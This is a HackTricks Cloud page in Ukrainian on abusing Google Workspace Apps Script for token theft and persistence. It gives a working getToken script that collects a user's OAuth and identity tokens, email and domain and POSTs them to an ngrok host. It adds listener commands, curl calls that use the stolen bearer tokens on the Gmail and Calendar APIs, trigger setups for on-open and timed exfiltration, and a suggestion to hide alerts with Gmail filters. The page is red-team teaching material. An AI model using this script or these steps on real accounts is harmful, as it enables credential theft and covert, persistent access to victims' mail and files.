GWS - App Scripts
Reading time: 8 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
App Scripts
App Scripts - це код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script і після прийняття запиту OAuth.
Вони також можуть бути налаштовані на виконання через певний проміжок часу власником App Script (Persistence).
Створити App Script
Існує кілька способів створити App Script, хоча найпоширеніші з них - це з Google Документу (будь-якого типу) та як окремий проект:
Створити проект, прив'язаний до контейнера, з Google Docs, Sheets або Slides
- Відкрийте документ Docs, таблицю Sheets або презентацію Slides.
- Натисніть Розширення > Google Apps Script.
- У редакторі скриптів натисніть Без назви проект.
- Дайте вашому проекту назву та натисніть Перейменувати.
Створити окремий проект
Щоб створити окремий проект з Apps Script:
- Перейдіть на
script.google.com
. - Натисніть Новий проект.
- У редакторі скриптів натисніть Без назви проект.
- Дайте вашому проекту назву та натисніть Перейменувати.
Створити окремий проект з Google Drive
- Відкрийте Google Drive.
- Натисніть Новий > Інше > Google Apps Script.
Створити проект, прив'язаний до контейнера, з Google Forms
- Відкрийте форму в Google Forms.
- Натисніть Інше more_vert > Редактор скриптів.
- У редакторі скриптів натисніть Без назви проект.
- Дайте вашому проекту назву та натисніть Перейменувати.
Створити окремий проект за допомогою інструменту командного рядка clasp
clasp
- це інструмент командного рядка, який дозволяє вам створювати, завантажувати/вивантажувати та розгортати проекти Apps Script з терміналу.
Дивіться Посібник по інтерфейсу командного рядка за допомогою clasp
для отримання додаткової інформації.
Сценарій App Script
Створити Google Sheet з App Script
Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до Розширення > App Scripts
, це відкриє новий App Script, пов'язаний з таблицею.
Leak token
Щоб надати доступ до токена OAuth, вам потрібно натиснути на Сервіси +
і додати області, такі як:
- AdminDirectory: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)
- Gmail: Для доступу до даних gmail
- Drive: Для доступу до даних диска
- Google Sheets API: Щоб це працювало з тригером
Щоб змінити необхідні області, ви можете перейти до налаштувань проекту та увімкнути: Показати файл маніфесту "appsscript.json" в редакторі
.
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()
// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}
// Send data
makePostRequest(data)
// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})
// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)
// To ask for drive permissions
var files = DriveApp.getFiles()
}
function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"
var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}
try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
Щоб захопити запит, ви можете просто виконати:
ngrok tcp 4444
nc -lv 4444 #macOS
Запити на дозволи для виконання App Script:
.png)
warning
Оскільки здійснюється зовнішній запит, запит OAuth також попросить дозволи на доступ до зовнішніх кінцевих точок.
Створити тригер
Після того, як App буде прочитано, натисніть на ⏰ Тригери, щоб створити тригер. Як функцію для виконання виберіть getToken
, запускається при розгортанні Head
, у джерелі події виберіть З таблиці
та тип події виберіть При відкритті
або При редагуванні
(згідно з вашими потребами) і збережіть.
Зверніть увагу, що ви можете перевірити виконання App Scripts на вкладці Виконання, якщо хочете відлагодити щось.
Спільний доступ
Щоб запустити App Script, жертва повинна підключитися з доступом редактора.
tip
Токен, використаний для виконання App Script, буде токеном творця тригера, навіть якщо файл відкритий як Редактор іншими користувачами.
Зловживання документами, спільно надісланими мені
caution
Якщо хтось поділився з вами документом з App Scripts і тригером, використовуючи Head App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і App Script буде виконано з дозволами користувача, який поділився з вами документом! (зверніть увагу, що OAuth токен власника матиме такі області доступу, які були надані під час створення тригера).
Сповіщення буде надіслано творцеві скрипта, вказуючи, що хтось змінив скрипт (Що, якщо використовувати дозволи gmail для створення фільтра, щоб запобігти сповіщенню?)
tip
Якщо зловмисник змінює області доступу App Script, оновлення не будуть застосовані до документа, поки не буде створено новий тригер з змінами. Тому зловмисник не зможе вкрасти токен власника творця з більшими областями доступу, ніж ті, які він встановив у тригері, який він створив.
Копіювання замість спільного доступу
Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Якщо ви зміните закінчення "/edit" на "/copy", замість доступу до нього Google запитає вас, чи хочете ви створити копію документа:
.png)
Якщо користувач копіює його та отримує доступ, як вміст документа, так і App Scripts будуть скопійовані, однак тригери не будуть, тому нічого не буде виконано.
Спільний доступ як веб-додаток
Зверніть увагу, що також можливо поділитися App Script як веб-додатком (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:
.png)
Після цього з'явиться типове запит OAuth, що запитує необхідні дозволи.
Тестування
Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою:
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
Список календаря користувача:
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
App Script як постійний доступ
Один з варіантів постійного доступу - це створити документ і додати тригер для функції getToken та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він екстрагує токен жертви.
Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен:
Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер, а також виберіть опції, які вам найбільше підходять:
.png)
caution
Це створить електронний лист про безпеку та push-повідомлення на вашому мобільному телефоні, що сповіщає про це.
Обхід неперевіреного запиту спільного документа
Більше того, якщо хтось поділився з вами документом з доступом редактора, ви можете створювати App Scripts всередині документа, а ВЛАСНИК (творець) документа буде власником App Script.
warning
Це означає, що творець документа з'явиться як творець будь-якого App Script, який створить будь-хто з доступом редактора всередині нього.
Це також означає, що App Script буде довіреним середовищем Workspace творця документа.
caution
Це також означає, що якщо App Script вже існував і люди надали доступ, будь-хто з дозволом редактора на документ може модифікувати його та зловживати цим доступом.
Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один з цікавих трюків - це опублікувати скрипт як веб-додаток. Коли люди, які вже надали доступ до App Script, отримують доступ до веб-сторінки, вони активують App Script (це також працює за допомогою тегів <img>
).
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.